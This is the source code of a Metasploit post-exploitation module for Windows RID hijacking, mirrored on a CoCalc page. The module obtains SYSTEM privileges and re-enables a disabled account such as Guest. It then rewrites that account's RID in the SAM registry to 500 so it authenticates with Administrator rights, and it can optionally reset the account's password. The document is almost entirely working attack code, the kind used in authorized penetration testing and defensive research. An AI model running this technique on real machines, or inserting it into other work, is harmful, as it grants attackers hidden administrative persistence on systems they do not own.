CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/rid_hijack.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Registry
8
include Msf::Post::Windows::Priv
9
10
def initialize
11
super(
12
'Name' => 'Windows Manage RID Hijacking',
13
'Description' => %q{
14
This module will create an entry on the target by modifying some properties
15
of an existing account. It will change the account attributes by setting a
16
Relative Identifier (RID), which should be owned by one existing
17
account on the destination machine.
18
19
Taking advantage of some Windows Local Users Management integrity issues,
20
this module will allow to authenticate with one known account
21
credentials (like GUEST account), and access with the privileges of another
22
existing account (like ADMINISTRATOR account), even if the spoofed account is
23
disabled.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',
27
'Platform' => ['win'],
28
'SessionTypes' => ['meterpreter'],
29
'References' => [
30
['URL', 'http://csl.com.co/rid-hijacking/']
31
],
32
'Compat' => {
33
'Meterpreter' => {
34
'Commands' => %w[
35
priv_elevate_getsystem
36
]
37
}
38
})
39
40
register_options(
41
[
42
OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),
43
OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]),
44
OptString.new('USERNAME', [false, 'User to set the defined RID.']),
45
OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']),
46
OptInt.new('RID', [true, 'RID to set to the specified account.', 500])
47
]
48
)
49
end
50
51
def getsystem
52
results = session.priv.getsystem
53
if results[0]
54
return true
55
else
56
return false
57
end
58
end
59
60
def get_name_from_rid(reg_key, rid, names_key)
61
names_key.each do |name|
62
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')
63
rid_user = skey['Type']
64
return name if rid_user == rid
65
end
66
return nil
67
end
68
69
def get_user_rid(reg_key, username, names_key)
70
names_key.each do |name|
71
next unless name.casecmp(username).zero?
72
73
print_good("Found #{name} account!")
74
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')
75
rid = skey['Type']
76
if !skey
77
print_error("Could not open user's key")
78
return -1
79
end
80
return rid
81
end
82
return -1
83
end
84
85
def check_active(fbin)
86
if fbin[0x38].unpack('H*')[0].to_i != 10
87
return true
88
else
89
return false
90
end
91
end
92
93
def swap_rid(fbin, rid)
94
# This function will set hex format to a given RID integer
95
hex = [format('%04x', rid).scan(/.{2}/).reverse.join].pack('H*')
96
# Overwrite new RID at offset 0x30
97
fbin[0x30, 2] = hex
98
return fbin
99
end
100
101
def run
102
# Registry key to manipulate
103
reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'
104
105
# Checks privileges of the session, and tries to get SYSTEM privileges if needed.
106
print_status('Checking for SYSTEM privileges on session')
107
if !is_system?
108
if datastore['GETSYSTEM']
109
print_status('Trying to get SYSTEM privileges')
110
if getsystem
111
print_good('Got SYSTEM privileges')
112
else
113
print_error('Could not obtain SYSTEM privileges')
114
return
115
end
116
else
117
print_error('Session is not running with SYSTEM privileges. Try setting GETSYSTEM ')
118
return
119
end
120
else
121
print_good('Session is already running with SYSTEM privileges')
122
end
123
124
# Checks the Windows Version.
125
version = get_version_info
126
print_status("Target OS: #{version.product_name}")
127
128
# Load the usernames from SAM Registry key
129
names_key = registry_enumkeys(reg_key + '\\Names')
130
unless names_key
131
print_error('Could not access to SAM registry keys')
132
return
133
end
134
135
# If username is set, looks for it in SAM registry key
136
user_rid = -1
137
username = datastore['USERNAME']
138
if datastore['GUEST_ACCOUNT']
139
user_rid = 0x1f5
140
print_status('Target account: Guest Account')
141
username = get_name_from_rid(reg_key, user_rid, names_key)
142
else
143
if datastore['USERNAME'].to_s.empty?
144
print_error('You must set an username or enable GUEST_ACCOUNT option')
145
return
146
end
147
print_status('Checking users...')
148
user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key)
149
end
150
151
# Result of the RID harvesting
152
if user_rid == -1
153
print_error('Could not find the specified username')
154
return
155
else
156
print_status("Target account username: #{username}")
157
print_status("Target account RID: #{user_rid}")
158
end
159
160
# Search the Registry associated to the user's RID and overwrites it
161
users_key = registry_enumkeys(reg_key)
162
users_key.each do |r|
163
next if r.to_i(16) != user_rid
164
165
f = registry_getvaldata(reg_key + "\\#{r}", 'F')
166
if check_active(f)
167
print_status('Account is disabled, activating...')
168
f[0x38] = ['10'].pack('H')
169
print_good('Target account enabled')
170
else
171
print_good('Target account is already enabled')
172
end
173
174
print_status('Overwriting RID')
175
# Overwrite RID to specified RID
176
f = swap_rid(f, datastore['RID'])
177
178
open_key = registry_setvaldata(reg_key + "\\#{r}", 'F', f, 'REG_BINARY')
179
unless open_key
180
print_error("Can't write to registry... Something's wrong!")
181
return -1
182
end
183
print_good("The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}")
184
end
185
# If set, changes the specified username's password
186
if datastore['PASSWORD']
187
print_status("Setting #{username} password to #{datastore['PASSWORD']}")
188
cmd = cmd_exec('cmd.exe', "/c net user #{username} #{datastore['PASSWORD']}")
189
vprint_status(cmd.to_s)
190
end
191
end
192
end
193
194